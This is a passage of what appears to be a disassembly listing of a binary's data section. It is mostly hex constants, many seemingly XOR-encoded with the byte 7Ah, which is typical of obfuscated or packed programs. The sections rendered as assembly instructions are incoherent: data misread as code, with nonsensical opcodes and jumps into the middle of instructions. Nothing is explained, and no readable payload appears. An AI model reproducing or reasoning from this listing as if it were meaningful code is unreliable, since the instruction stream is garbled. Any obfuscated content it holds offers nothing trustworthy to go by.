dup(7A7A727Ah), 7A7A737Ah, 7A7A7D7Ah, 7A7A727Ah dd 7A7A7E7Ah, 7A7A7A7Ah, 2 dup(7A7A7E7Ah), 7A7A7D7Ah, 7A7A797Ah dd 7A7A7C7Ah, 7A7A737Ah, 7A7A797Ah, 7A7A7A7Ah, 7A7A7F7Ah dd 7A7A787Ah, 7A7A7B7Ah, 7A7A7E7Ah, 7A7A7F7Ah, 7A7A797Ah dd 7A7A7A7Ah, 7A7A7E7Ah, 7A7A787Ah, 7A7A7B7Ah, 7A7A727Ah dd 7A7A7D7Ah, 7A7A7B7Ah, 7A7A727Ah, 2 dup(7A7A7A7Ah), 7A7A727Ah dd 7A7A7D7Ah, 7A7A7E7Ah, 7A7A737Ah, 10h dup(7A7A7A7Ah) dd 7A921A7Ah, 1B7A7A7Ah, 7A7A7A93h, 3 dup(7A7A7A7Ah), 7A10FB7Ah dd 7AF2796Ah, 7AF0026Ah, 7A2DE16Ah, 7AB2076Ah, 7AD45C6Ah dd 7A24F26Ah, 7A7A7A6Ah, 7A5F2C7Ah, 7A5F456Ah, 7A3E9B6Ah dd 7A3D696Ah, 7A9F696Ah, 7AD8AA6Ah, 7A5E936Ah, 6BF8B26Ah dd 7A7A7A6Ah, 7AB7E97Ah, 7ABDB06Ah, 7A3F726Ah, 7ADDF76Ah dd 7A5F4D6Ah, 7A28066Ah, 7A2C286Ah, 6BF8966Ah, 1B1F366Ah dd 8391F0Ch, 19130E13h, 1F29161Bh, 15130E19h, 8397A14h dd 1F0E1B1Fh, 1F08122Eh, 3F7A1E1Bh, 81F0E14h, 0E130839h dd 161B1913h, 0E191F29h, 7A141513h, 0E131433h, 13161B13h dd 8391F00h, 19130E13h, 1F29161Bh, 15130E19h, 7A7A7A14h dd 10DE027Ah, 0BDCD2CADh, 5A0AA192h, 0C7B4945Eh, 675D5BBh dd 0FDBC508Fh, 4A3C693Dh, 3CEF7BD2h, 0FAE2A287h, 3E8DD513h dd 8521CBF1h, 26ADC485h, 0EA6B58F3h, 0E20BE911h, 339F487h dd 0CE725BDCh, 645F1833h, 3AC93A8Ch, 24202BBAh, 0CCBDD05Ch dd 556A2793h, 3E6E29ACh, 0DB9CFB78h, 0A981B2A2h, 9BB79C9Dh dd 4D7DAC5Bh, 0AF77FDB9h, 206E978Eh, 99937F3Fh, 95D982D3h dd 1578A386h, 5036F01Dh, 804338F7h, 0B8CFB85h, 0E71B58FDh dd 9F427617h, 0C4903E87h, 0A4B5D3DEh, 0C1311A31h, 0C5C60A8Ch dd 0E104BCC4h, 0DB5D8052h, 954AFF90h, 0F2677FAEh, 0AEAA437Eh dd 0A1E39FA3h, 0D806829Ch, 0D62C1F65h, 53583EBEh, 5085ED8Eh dd 0EE59DD39h, 0E9DA43D1h, 2123B986h, 76B6E81Fh, 958E07F5h dd 0FE27AB85h, 0D20435FFh, 569C9A15h, 7B396E84h, 726BDBD9h dd 2904F834h, 40884F8Dh, 0ADA8C1C7h, 0FCA9EB50h, 7AA64091h dd 7AA63F6Ah, 7AA6E16Ah, 7AA68D6Ah, 7A7A7E6Ah, 107A527Ah dd 167A1D7Ah, 7A7A0B7Ah, 0A07A7C7Ah, 8DD1CBCBh, 7C7AD8D6h dd 0C2C2A97Ah, 0D1DF84D8h, 0B47A7C7Ah, 99C5DFDFh, 727ACCC2h dd 7D2B0E7Ah, 767A6351h, 7C7A7B2Bh, 808637Ah, 1B154E12h dd 617A7D7Ah, 0C3E1244h, 7A501915h, 0D7937A76h, 0D4E3E0FAh dd 0F2C3E7F6h, 7AFEF2E1h, 0EBBD7A71h, 0DCD4CFDCh, 0D3F4C9D3h dd 767AC9D4h, 0F1C6907Ah, 0FEF1F9E2h, 0F5FCD3E4h, 747AE2F1h dd 93B9EA7Ah, 8686AB99h, 9EB98985h, 8D848398h, 0FF7A777Ah dd 0B98C86ACh, 0AC9A9A8Dh, 91968D8Bh, 7A767A98h, 252C2F40h dd 73343521h, 2C246E72h, 7A767A2Ch, 3B32315Eh, 6D2A2B3Fh dd 323A706Ch, 7A7E7A32h, 595C1638h, 7A717A4Ch, 91C4E8B4h dd 0C191EBC1h, 0D8D8D09Ah, 0DD7A7B7Ah, 7A7B7A8Bh, 6D7AA9FCh dd 0A5E3C67Ah, 0A5E3A5E3h, 0E3EBA5E3h, 2 dup(0E3A5E3A5h) dd 0A9A5E8A5h, 7A6C7AABh, 0D294D2F7h, 0D294D294h, 0DA94D294h dd 2 dup(94D294D2h), 7A8285D9h, 34477A70h, 28182421h, 2B236934h dd 7A707A2Bh, 9F9A8FFCh, 0D28F93A3h, 7A909098h, 0DAFF7A7Eh dd 7AA3C59Ch, 9AC87A6Ah, 0BD99AFADh, 9EB1BAADh, 0ADBDA4A9h dd 7A89B08Dh, 0C38C7A6Ah, 0DCE2E9FCh, 0E9EFE3FEh, 0E3D8FFFFh dd 7AE2E9E7h, 0CC8B7A69h, 0E4DFFFEEh, 0C2E5EEE0h, 0F9E4EDE5h dd 0E2FFEAE6h, 667AE5E4h, 5D7A337Ah, 525A475Ah, 56495A5Fh dd 46505660h, 4A475A41h, 50405677h, 47435A41h, 767A415Ch dd 7C5E197Ah, 7C6A4C6Dh, 7478576Bh, 777A587Ch, 596E3C7Ah dd 594C735Bh, 45597752h, 7A7D4479h, 8FDC7A60h, 0B98FA8B9h dd 0B5AEA9BFh, 0B998A5A8h, 0B5AEBFAFh, 0AEB3A8ACh, 0B9B2AB93h dd 7A687AAEh, 0CADBF9BEh, 0EDDAD7EDh, 0CBFFDCCBh, 0CCD1D6CAh dd 7AC7CAD7h, 0EFBC7A6Ah, 0D5FAC8D9h, 0D9EFD9D0h, 0D5CEC9DFh dd 7AFDC5C8h, 9BD77A6Fh, 0A2BCB8B8h, 0BEA587A7h, 0B2BBBEA1h dd 0B681B2B0h, 96B2A2BBh, 0C87A6D7Ah, 9BBCAD8Fh, 0BD9BACA1h dd 0BCBD89AAh, 0A1BAA7A0h, 0A78BB1BCh, 7ABCA6BDh, 3E7F7A6Fh dd 0C0A151Bh, 14102B0Bh, 0D2F111Ah, 13160916h, 0C1A181Ah dd 527A717Ah, 11353700h, 37213D3Eh, 7A2B3719h, 0EBAC7A63h dd 0C5FFD8C9h, 0C9C8E5C8h, 0CAC5D8C2h, 0EDDEC9C5h, 0C3C4D8D9h dd 0D5D8C5DEh, 3D7A637Ah, 6E49586Eh, 4F485E58h, 79444954h dd 4F5E4E58h, 52494D54h, 5E5C794Fh, 7A767A51h, 0C1D3D6B7h dd 84DEC7D6h, 0DBD39985h, 7A767ADBh, 0E2F0F594h, 0A7FDE4F5h dd 0F8F0BAA6h, 7A7B7AF8h, 787A126Eh, 0D78BAB7Ah, 867A7B7Ah dd 7A7E7ABCh, 14444161h, 7A7B7A5Bh, 707A0F73h, 776B4B7Ah dd 619040Dh, 753E6E71h, 8E7A717Ah, 0DCC8B2AEh, 0B4CBC3CFh dd 7AB0FBABh, 0DDFD7A70h, 0BCAFBBC1h, 0B0C7B8B0h, 7A7A7AC3h dd 7A7A7F7Ah, 67A707Ah, 1C7A117Ah, 157A057Ah, 7A7A7A7Ah dd 7A7A7E7Ah, 287A467Ah, 2B7A277Ah, 7A7A237Ah, 547A787Ah dd 7B7A7474h, 7AEEC17Ah, 0BAD77A68h, 0BBA3B4A4h, 0A3A488A4h dd 0A4A2A3B6h, 0E4A5B6B5h, 7A747AE5h, 0E6E5D084h, 0E0EAEDD3h dd 0E8C7F3EBh, 7AF7F7E5h, 5F647A79h, 7E7A590Bh, 175F647Ah dd 7E7A590Bh, 0E2BD867Ah, 7E7AACBBh, 0ECB3887Ah, 7A7AA9B5h dd 7A7A797Ah, 237A6A7Ah, 2D7A277Ah, 7B7A7A7Ah, 7AB0EC7Ah dd 57727A75h, 14162E01h, 807571Eh, 165C4041h, 6A7A1E1Eh dd 0CD9BBE7Ah, 0CCCDC9E2h, 0CAC4CB9Bh, 0DA908C8Dh, 717AD2D2h dd 0DB8DA87Ah, 8DDB8DF4h, 0C4C686DDh, 7A757ADBh, 90BFE9CCh dd 0B9E9AAA7h, 0FEFFB6A0h, 0A0A0A8E2h, 0D47A7E7Ah, 8CE6FAF1h dd 927A7B7Ah, 7A787AB7h, 7AE3A580h, 94C47A73h, 0B1A0ABB6h dd 0A08DB0A7h, 7C7A567Ah, 283A332Fh, 392E3D2Bh, 1F153120h dd 130F130Eh, 2B20081Ah, 13181215h, 325C0F0Bh, 93F2028h dd 12190E0Eh, 0E192A08h, 1213150Fh, 57A737Ah, 616A7755h dd 4C716670h db 61h ; a db 7Ah, 53h, 7Ah db 7Bh ; { db 28h, 34h, 3Dh db 2Fh ; / db 2Ch, 3Ah, 29h db 3Eh ; > db 27h, 36h, 12h db 18h db 9 db 14h db 8 dd 270F1D14h db 2Ch ; , db 12h, 15h, 1Fh db 14h db 0Ch, 8, 27h db 38h ; 8 db 0Eh, 2 dup(9) db 1Eh db 15h, 0Fh, 2Dh db 1Eh db 9, 8, 12h db 14h db 15h, 7Ah, 7Bh db 7Ah ; z db 0DEh, 0F0h, 7Ah db 7Eh ; ~ db 7Ah, 0BBh, 96h db 9Eh ; db 0E3h ; ã db 95h ; • db 7Ah ; z db 79h ; y db 7Ah ; z db 2Bh ; + db 48h ; H db 11h db 77h ; w db 7Ah ; z db 72h ; r db 7Ah ; z db 50h ; P db 75h ; u db 25h ; % db 7Eh ; ~ db 75h ; u db 25h ; % db 7Eh ; ~ db 75h ; u db 25h ; % db 7Ah ; z db 78h ; x db 7Ah ; z db 0C9h ; É db 87h ; ‡ db 9Dh ; db 7Ah ; z db 78h ; x db 7Ah ; z db 89h ; ‰ db 0B0h ; ° db 0D1h ; Ñ db 7Ah ; z db 71h ; q db 7Ah ; z db 52h ; R db 11h db 20h db 37h ; 7 db 33h ; 3 db 26h ; & db 37h ; 7 db 14h ; --------------------------------------------------------------------------- cmp eax, 7A13263Ch jnb short loc_426596 retf ; --------------------------------------------------------------------------- db 0ACh, 0AFh, 0A2h dd 0AFE5F9F8h, 737AA7A7h, 4D4E297Ah, 71B1A40h, 7A45454Dh dd 1B687A77h, 0D1C1B11h, 71A1805h, 0D04010Eh, 77A7C7Ah dd 6E717562h, 7B7A6264h, 7A50747Ah, 31627A7Ch db 3Bh, 31h, 36h ; --------------------------------------------------------------------------- loc_42655B: ; CODE XREF: .data:004265C2j daa das jp short loc_4265D1 ; --------------------------------------------------------------------------- db 7Ah ; --------------------------------------------------------------------------- loc_426560: ; CODE XREF: .data:004265BEj jnz short near ptr loc_4265B5+2 xor es:[edi], ah and edi, [esi+esi] xor [edx+3Ah], bh jp short near ptr loc_4265CE+1 and esp, [eax] and [esi], esp ; CODE XREF: .data:004265BAj loc_426571: ; CODE XREF: .data:004265B8j daa and al, 25h sub ch, [ebx] sub [ecx], ch db 2Eh ; CODE XREF: .data:004265C0j das sub al, 2Dh ; CODE XREF: .data:004265BCj xor dh, [ebx] loc_42657E: ; CODE XREF: .data:004265C6j xor [ecx], dh db 36h aaa loc_426582: ; CODE XREF: .data:004265C4j xor al, 35h cmp bh, [ebx] cmp [ebx], al add [ecx], al push es pop es add al, 5 or cl, [ebx] or [ecx], cl push cs ; --------------------------------------------------------------------------- db 0Fh ; --------------------------------------------------------------------------- or al, 0Dh loc_426596: ; CODE XREF: .data:0042651Aj adc dl, [ebx] adc [ecx], dl push ss pop ss adc al, 15h sbb bl, [ebx] sbb [edx+53h], dl push eax push ecx push esi push edi push esp push ebp pop edx pop ebx dec ecx dec ebp jp short loc_426629 jp short loc_42662B jnb short near ptr loc_42662B+2 jp short near ptr loc_42662B+4 loc_4265B5: ; CODE XREF: .data:loc_426560j sar byte ptr [edx-50h], cl jp short loc_426571 jp short near ptr loc_42656F+1 jp short near ptr loc_42657A+1 jp short loc_426560 jp short near ptr loc_426578+1 jp short loc_42655B jp short loc_426582 jp short loc_42657E jp short near ptr loc_426642+2 jp short loc_426626 jp short loc_4265F8 loc_4265CE: ; CODE XREF: .data:0042656Bj mulps xmm1, oword ptr [edx] loc_4265D1: ; CODE XREF: .data:0042655Dj pop ecx pop eax dec ecx pop ss inc edx pop esi pop esi pop edx adc ds:15590F05h, al inc edx pop ss mulps xmm1, oword ptr [esp+ebx*2] pop ss maxps xmm1, oword ptr [edx+ebx*2] pop ss mulps xmm2, oword ptr [edx+edi*2] cmp [edx+7Bh], edi pop esi or [ebx+8], bl loc_4265F6: ; CODE XREF: .data:00426640j or [eax], ebx loc_4265F8: ; CODE XREF: .data:004265CCj inc esi adc ecx, [edi] ud2 ; --------------------------------------------------------------------------- db 41h, 2 dup(54h) dd 1344085Eh, 5D085E46h, 0E5E4612h, 145D085Eh, 5D0E5E46h dd 185E461Dh, 4612085Dh, 85D085Eh, 0E5E4614h db 5Dh, 0Fh ; --------------------------------------------------------------------------- loc_426626: ; CODE XREF: .data:004265CAj pop ss inc esi pop esi loc_426629: ; CODE XREF: .data:004265ADj push cs pop ebp loc_42662B: ; CODE XREF: .data:004265AFj ; .data:0042666Dj ... or eax, 5D0E5E46h pop ds inc esi pop esi or [ebp+7Ah], al push 7Ah mov edx, 0B5B4E7B4h movsb cli loop loc_4265F6 loc_426642: ; CODE XREF: .data:004265C8j call near ptr 0E33D083Fh movsb stc jp short loc_4266AF jp short loc_426680 cvtps2pd xmm3, qword ptr [esi+54h] adc eax, [edx+ebx*2+57h] inc edi pop ebx push cs add edx, [ebx] pop ebx push esi pop edx loc_42665D: ; CODE XREF: .data:004266C0j push esp pop ebx inc edi push cs add edx, [ebx] push ecx pop esp inc ecx push edi push esi inc ecx push cs add edi, [edx+7Dh] jp short near ptr loc_42662B+1 sbb edi, 0DF928183h cmp dword ptr [edx+71h], 7Ah adc al, 59h jno short loc_4266E4 db 67h jnz near ptr 66F3h loc_426680: ; CODE XREF: .data:0042664Bj jno short loc_4266D8 jnp short loc_4266F0 push ebp jp short loc_4266FE jp short loc_426697 dec edx imul edi, [ebp+7Ah], 7Ch ; CODE XREF: .data:loc_4266FEj popa ja short locret_4266EA db 67h pusha push 61h jns short near ptr byte_426711 loc_426697: ; CODE XREF: .data:00426687j jz short locret_426713 test eax, 0FEDDCCFAh rol bh, 0CDh mov dh, 0FDh int 3 ; Trap to Debugger rcr ebp, 1 call near ptr 34BCCF26h jno short loc_426708 ; CODE XREF: .data:0042670Fj inc ecx loc_4266AF: ; CODE XREF: .data:00426649j pop ecx jo short near ptr byte_426703 inc edi pop edi inc eax pop ebx inc esp arpl [ebp+5Ah], bx push eax pop ebx inc ebx inc edi jp short loc_426730 jp short loc_42665D setalc hlt ; --------------------------------------------------------------------------- dd 0F2CCFEEDh, 0ECF4FFF5h, 6A7A6A7Ah, 1A19032Eh, 2091E0Bh ; --------------------------------------------------------------------------- loc_4266D8: ; CODE XREF: .data:loc_426680j daa ; --------------------------------------------------------------------------- db 0Fh, 2 dup(19h) dd 2B0F0D0Bh, 0BC7A717Ah ; --------------------------------------------------------------------------- loc_4266E4: ; CODE XREF: .data:0042667Bj sti fxch st icebp loc_4266E8: ; CODE XREF: .data:00426719j ; .data:00426757j fxch st(7) locret_4266EA: ; CODE XREF: .data:0042668Fj iret ; --------------------------------------------------------------------------- db 0DDh dd 7AFDD9DBh ; --------------------------------------------------------------------------- loc_4266F0: ; CODE XREF: .data:00426682j jnb short loc_42676C push 3F1C0D2Fh add [esi], eax or al, 7 pop ds jp short near ptr loc_426774+1 loc_4266FE: ; CODE XREF: .data:00426685j jp short near ptr loc_42668A+3 retf 0F9E8h ; --------------------------------------------------------------------------- byte_426703 db 0DAh ; CODE XREF: .data:004266B0j dd 0E2E9E3E4h ; --------------------------------------------------------------------------- loc_426708: ; CODE XREF: .data:004266ACj cli fucomip st, st out dx, al stc jp short loc_426784 jp short near ptr loc_4266AC+1 ; --------------------------------------------------------------------------- byte_426711 db 0DFh, 0FDh ; CODE XREF: .data:00426695j ; --------------------------------------------------------------------------- locret_426713: ; CODE XREF: .data:loc_426697j db 0F0h lock retf ; --------------------------------------------------------------------------- cmc loc_426717: ; CODE XREF: .data:00426793j repne clc rep jmp short loc_4266E8 ; --------------------------------------------------------------------------- dd 0DDFFF3EEh, 0B57A747Ah, 0E2C1D0F2h, 0DAD1DBDCh, 0CDD0E1C2h ; --------------------------------------------------------------------------- loc_426730: ; CODE XREF: .data:004266BEj sal esp, 7Ah ja short loc_4267AF add [esi+64h], eax jnz short loc_42677C insd pusha jb short loc_4267B0 dec edi pusha insb db 64h inc eax jp short loc_4267B9 jp short loc_42679A add [esi], dh daa add al, 3Ah loc_42674C: ; CODE XREF: .data:0042677Fj cmp eax, 1F243C37h cmp al, 3Dh xor al, 12h jp short loc_4267CD jp short near ptr loc_4266E8+1 retn ; --------------------------------------------------------------------------- dw 0FEF5h dd 0E3F5DDF4h, 0F5F7F1E3h, 7A6A7AD1h, 0C8DBFDA9h ; --------------------------------------------------------------------------- loc_42676C: ; CODE XREF: .data:loc_4266F0j mov edx, 0CCDDC8C5h in al, 0CCh ; DMA controller, 8237A-5. ; clear byte pointer flip-flop. loc_426774: ; CODE XREF: .data:004266FCj fcmovu st, st(2) enter 0FFFFCCCEh, 7Ah loc_42677A: ; CODE XREF: .data:004267EEj jb short loc_4267F6 loc_42677C: ; CODE XREF: .data:00426738j lahf int 3 ; Trap to Debugger cli jmp short loc_42674C ; --------------------------------------------------------------------------- div dl cli loc_426784: ; CODE XREF: .data:0042670Dj in eax, dx jp short loc_4267F9 jp short loc_4267CD pop ss and [eax], esi add ch, [ebx] daa xor [edi], esi jp short loc_426807 jp short loc_426717 shl bh, 1 in eax, 0EBh icebp loc_42679A: ; CODE XREF: .data:00426745j mul bh lock shr esi, 0E3h icebp icebp retn ; --------------------------------------------------------------------------- db 7Ah ; --------------------------------------------------------------------------- jo short loc_426820 cli test eax, 0AD8D9592h xchg eax, ebx xchg eax, esp sahf loc_4267AF: ; CODE XREF: .data:00426733j xchg eax, ebp loc_4267B0: ; CODE XREF: .data:0042673Cj lea edi, [edx+77h] jp short near ptr loc_426823+1 sub [esi], eax add [ebx], ecx loc_4267B9: ; CODE XREF: .data:00426743j cmp [esi], al add [ebx], ecx add [eax], bl sub dl, [edi] db 2Eh ; CODE XREF: .data:loc_426820j jp short near ptr loc_426834+5 jp short loc_4267F0 imul ebx, [eax+4Fh], 7D4F5E4Bh loc_4267CD: ; CODE XREF: .data:00426755j ; .data:00426787j inc ebx inc esp dec esi inc ebp pop ebp outsd push edx imul edi, [edx+69h], 7Ah aas js short near ptr loc_426834+1 dec ebx jns short loc_42682E dec ebp pop edx pop eax dec ebp push eax dec edx push ecx pop ebx push 505B5156h dec eax jp short loc_426862 jp short loc_42677A loc_4267F0: ; CODE XREF: .data:004267C4j int 0EFh ; compiled BASIC - ORIGINAL INT 09 VECTOR ; --------------------------------------------------------------------------- dw 0DDFEh db 0E3h, 0E4h ; --------------------------------------------------------------------------- loc_4267F6: ; CODE XREF: .data:loc_42677Aj out dx, al in eax, 0FDh loc_4267F9: ; CODE XREF: .data:00426785j ; .data:0042683Fj mov ch, 0E4h in eax, dx retf ; --------------------------------------------------------------------------- dw 747Ah dd 0ECCD897Ah db 0EFh, 0DEh, 0E0h ; --------------------------------------------------------------------------- loc_426807: ; CODE XREF: .data:00426791j out 0EDh, eax out 0FEh, al fsincos out 0EAh, al enter 707Ah, 7Ah lahf jmp far ptr 0B1ADh:0ACEDFAECh ; --------------------------------------------------------------------------- db 0FBh dd 707AF3F3h ; --------------------------------------------------------------------------- loc_426820: ; CODE XREF: .data:004267A4j jp short near ptr loc_4267C1+1 ; --------------------------------------------------------------------------- db 0D5h ; --------------------------------------------------------------------------- loc_426823: ; CODE XREF: .data:loc_42682Ej ; .data:004267B3j rol ebp, cl rcl byte ptr [ebx-333B716Eh], cl ; --------------------------------------------------------------------------- db 0CCh ; --------------------------------------------------------------------------- loc_42682C: ; CODE XREF: .data:004268A4j jp short near ptr loc_4268A4+1 loc_42682E: ; CODE XREF: .data:004267DCj jp short loc_426823 mov al, 9Ch cmpsd xchg eax, edx loc_426834: ; CODE XREF: .data:004267D9j ; .data:loc_4267C1j sbb byte ptr [eax-4A616942h], 81h xchg eax, esi xchg eax, esi jp short near ptr loc_4268AF+1 jp short near ptr loc_4267F9+2 rep leave dec ebx iret ; --------------------------------------------------------------------------- db 0DBh ; --------------------------------------------------------------------------- loc_426847: ; CODE XREF: .data:loc_426862j setalc std out dx, eax ; --------------------------------------------------------------------------- dw 0FEF3h dd 3B7A6A7Ah db 78h ; --------------------------------------------------------------------------- loc_426851: ; CODE XREF: .data:004268C4j push esp js short near ptr loc_42689B+2 pop esi pop edx dec edi pop esi jb short loc_4268AF dec eax dec edi pop edx push ebp pop eax pop esi jp short loc_4268D7 loc_426862: ; CODE XREF: .data:004267ECj ; .data:004268C8j jp short loc_426847 mov al, ds:0A7AAB0AFh movsd xchg eax, ecx mov word ptr [esi-756E6850h], cs lea eax, [edx+edi*2+4F0C7A76h] arpl [ebp+62h], ax db 65h js short loc_4268E3 insd pusha db 65h ; CODE XREF: .data:004268DFj jbe short loc_4268EC jp short near ptr loc_4268F4+5 jp short loc_4268AF imul eax, [edi+7Dh], 46h loc_42688B: ; CODE XREF: .data:004268B5j inc ecx inc esi inc ecx pop esp inc ecx dec ecx inc esp inc ecx push edx dec ebp jp short loc_42690A jp short loc_42689A outsb loc_42689A: ; CODE XREF: .data:00426897j insd loc_42689B: ; CODE XREF: .data:00426852j xor dh, fs:[ebx] das db 65h insd insd jp short loc_426917 loc_4268A4: ; CODE XREF: .data:loc_42682Cj jp short loc_42682C jmp near ptr 0B4F84C95h ; --------------------------------------------------------------------------- db 0A8h db 0E2h, 2 dup(0EAh) ; --------------------------------------------------------------------------- loc_4268AF: ; CODE XREF: .data:00426858j ; .data:00426885j ... jp short loc_42692B jp short loc_4268D7 jp short loc_426930 jp short loc_42688B lodsb jp short near ptr loc_426934+1 jp short near ptr loc_4268EE+2 push 2E7A7B7Ah push cs jp short near ptr loc_42693B+3 jp short loc_426851 jp short near ptr loc_426930+1 jp short loc_426862 int 0F6h stc cli hlt ; --------------------------------------------------------------------------- db 0FDh dd 0B8F7ECB8h db 0F9h, 0EDh, 0ECh ; --------------------------------------------------------------------------- loc_4268D7: ; CODE XREF: .data:00426860j ; .data:004268B1j lock imul edx loc_4268DA: ; CODE XREF: .data:004268DBj icebp loop loc_4268DA jp short near ptr loc_42692B+3 jp short near ptr loc_426880+1 cmc into loc_4268E3: ; CODE XREF: .data:0042687Bj rol edx, 0CCh lds eax, [eax-3E7F302Ch] loc_4268EC: ; CODE XREF: .data:loc_426880j aad 0D4h loc_4268EE: ; CODE XREF: .data:004268BAj enter 0FFFFD2CFh, 0C9h fcmovb st, st(5) loc_4268F4: ; CODE XREF: .data:00426883j or byte ptr [ebp-1C111680h], 0EFh db 0F2h repne in eax, 0E3h loc_4268FF: ; CODE XREF: .data:00426944j hlt ; --------------------------------------------------------------------------- dd 0EEE9F080h, 0CCF0808Eh db 0C5h, 0C1h ; --------------------------------------------------------------------------- loc_42690A: ; CODE XREF: .data:00426895j rol ebp, cl mov word ptr [eax-2D2D303Dh], es ; --------------------------------------------------------------------------- dw 0C3C5h db 0D4h, 8Eh, 7Ah ; --------------------------------------------------------------------------- loc_426917: ; CODE XREF: .data:004268A2j jnp short loc_426993 mov al, 9Dh jp short loc_426981 jp short near ptr loc_426922+5 pop eax db 64h insd loc_426922: ; CODE XREF: .data:0042691Dj imul edi, [ebx+6Dh], 6D7B2824h db 64h insd loc_42692B: ; CODE XREF: .data:loc_4268AFj ; .data:004268DDj imul edi, [eax+ebp+4Dh], 70h loc_426930: ; CODE XREF: .data:004268B3j ; .data:004268C6j js short loc_426993 jp short loc_42699D loc_426934: ; CODE XREF: .data:004268B8j jl short near ptr loc_426995+2 db 66h sub [bx+di+6Dh], dl loc_42693B: ; CODE XREF: .data:004268C2j imul edi, [edx+7Ah], 67477A7Bh jp short near ptr loc_4269A6+3 jp short loc_4268FF jmp near ptr 0CB1B4620h ; --------------------------------------------------------------------------- db 0DCh db 95h, 99h, 0CAh ; --------------------------------------------------------------------------- loc_42694F: ; CODE XREF: .data:loc_426993j fcom st(5) fcomp st(2) int 99h ; used by BASIC while in interpreter cld ror ecx, 0D0h retf ; --------------------------------------------------------------------------- dw 0CDD8h dd 99D7D6D0h, 0CDD7D6F4h, 7A687AD1h, 0C9CCF9AAh, 0C3ECD9E3h dd 0D8FACFC6h, 0C9CFDEC5h, 7ACECFDEh, 34477A7Dh db 21h ; --------------------------------------------------------------------------- loc_426981: ; CODE XREF: .data:0042691Bj and al, 69h and ebp, [ebx] sub edi, [edx+7Dh] jp short near ptr word_4269D6 aas sub ch, [edi] bound ebp, [eax] and [eax], ah jp short near ptr word_426A0E loc_426993: ; CODE XREF: .data:loc_426917j ; .data:loc_426930j jp short loc_42694F loc_426995: ; CODE XREF: .data:loc_426934j mov byte ptr [edx+20h], 7Ah retf 0A98Bh ; --------------------------------------------------------------------------- db 0A9h ; --------------------------------------------------------------------------- loc_42699D: ; CODE XREF: .data:00426932j movsd mov edi, 84EABEA4h stosd cmpsd scasd loc_4269A6: ; CODE XREF: .data:00426942j jmp near ptr 0F9DCEF45h ; --------------------------------------------------------------------------- db 0EAh dd 0BCB8AF99h, 99E9B8AFh, 0EA9A9E87h, 0BCB8AF99h, 99E9B8AFh dd 0EA9A9E87h, 0BAB9A38Eh, 0EAB3ABA6h, 0AFA7AB84h, 9E8799E9h db 9Ah, 0EAh word_4269D6 dw 0A78Fh ; CODE XREF: .data:00426988j dd 0EAA6A3ABh, 0B8AEAE8Bh, 0E9B9B9AFh, 0F99A859Ah, 0AFB99FEAh dd 0AB84EAB8h, 0E9E9AFA7h, 317A747Ah, 2617E61h, 42506111h dd 435E4642h, 437A0355h, 170B587Ah db 1Eh, 0Ch word_426A0E dw 190Fh ; CODE XREF: .data:00426991j dd 15041D0Ah, 372A3B31h, 2C3E372Bh, 2C361104h, 3D362A3Dh dd 3B19782Ch, 362D373Bh, 3915782Ch, 3D3F3936h, 3B19042Ah dd 362D373Bh, 7D042B2Ch, 7A206068h, 1B2E1F29h, 0D351F11h dd 9081F14h, 2A0A1312h, 130C1308h, 1F1D1F16h, 0E77A7F7Ah dd 94C294C2h, 7A7F7ABBh, 0A4F2A481h, 797ADDF2h, 7620057Ah dd 7A7E7A2Fh, 441D5B7Eh, 7A7B7A22h, 7B7AE69Ah, 7AE09C7Ah dd 0B8F17A63h, 0B2A5B4BFh, 0D1BCBCBEh, 878394A2h, 0A1D18394h dd 86828290h, 8295839Eh, 0F17A7B7Ah, 7A7F7A8Dh, 8BA4F2D7h dd 7F7AA4F2h, 7D2B0E7Ah, 7A7D2B52h, 0AD887A7Eh, 7AA2D4FBh dd 1F3E7A7Bh, 8B7A7B7Ah, 7A7E7AA1h, 54545054h, 7A7B7A54h dd 7B7A7556h, 7A36157Ah, 93B07A7Bh, 0B17A7D7Ah, 0C1C5C5D9h dd 7A9E9E8Bh, 5A797A7Bh, 217A7D7Ah, 51555549h, 7A0E0E1Bh dd 0F3907E71h, 0F8F3F5F8h, 0E2E0FEF5h, 0BEE3E3F5h, 0FFF6FEF9h dd 0FCFFF7B3h, 0FCFFE0F4h, 0FFF3BEFCh, 0FEF9B3FDh, 0FCFFF7E4h dd 0FFF3BEF4h, 0E7E7B3FDh, 0F2F3BEE7h, 0E5E2BEE2h, 0E7E7E7B3h dd 0F3E6F1BEh, 0FBF3F5F8h, 0B3E5E2BEh, 0E2FFE4E3h, 0E9F1E0FDh dd 0FDFFF3BEh, 0E5E2F3B3h, 0BEE0FFE4h, 0FEB3E5FEh, 0F5BEE7F5h dd 0F3BEF7F7h, 0E7B3FDFFh, 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h dd 0FFF3BEE3h, 0E6F1B3FDh, 0F3F5F8F3h, 0E5E2BEFBh, 0F3E6F1B3h dd 0FBF3F5F8h, 0EAF9F2BEh, 0E7E7E7B3h, 0F9F2F2BEh, 0E5E2BEFEh dd 0E3F1FDB3h, 0BDE2F5E4h, 0FFF3BEE8h, 0E7E7B3FDh, 0FFE0BEE7h dd 0E3F9EAFEh, 0E3FDF1F3h, 0FDFFF3BEh, 0E7E7E7B3h, 0FEF1F2BEh dd 0F1F2BDFBh, 0F5E5E1FEh, 0FEF1F3BDh, 0BEF1F4F1h, 0E7B3F1F3h dd 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h, 0FFF3BEE3h, 0E7E7B3FDh dd 0FDF2BEE7h, 0FFF3BEFFh, 0F1E0B3FDh, 0FCF1E0E9h, 0FDFFF3BEh dd 0F1F2F5B3h, 0FFF3BEE9h, 0E7E7B3FDh, 0F1F2BEE7h, 0F6FFFBFEh dd 0E5F4F1FDh, 0F3BEF1E2h, 0E7B3FDFFh, 0F3BEE7E7h, 0BEF3F2F9h dd 0B3FDFFF3h, 0BEE7E7E7h, 0BEF2E4E6h, 0E7B3E5E2h, 0F3BEE7E7h dd 0FEF1F2E7h, 0FFF3BEFBh, 0FFF7B3FDh, 0FFE0F4FCh, 0F3BEFCFCh dd 0E7B3FDFFh, 0E0BEE7E7h, 0F9EAFEFFh, 0FDF1F3E3h, 0FFF3BEE3h dd 0E7E7B3FDh, 0FDFDBEE7h, 0FBFEF1F2h, 0B3E5E2BEh, 0BEE7E7E7h dd 0F1F9FEE5h, 0E5E2E4E3h, 0E5E2BEFDh, 0FCFFF7B3h, 0FCFFE0F4h dd 0FFF3BEFCh, 0E7E7B3FDh, 0FFE0BEE7h, 0E3F9EAFEh, 0E3FDF1F3h dd 0FDFFF3BEh, 0E7E7E7B3h, 0E2FFE7BEh, 0F1F2F4FCh, 0FFBEFBFEh dd 0E7B3F7E2h, 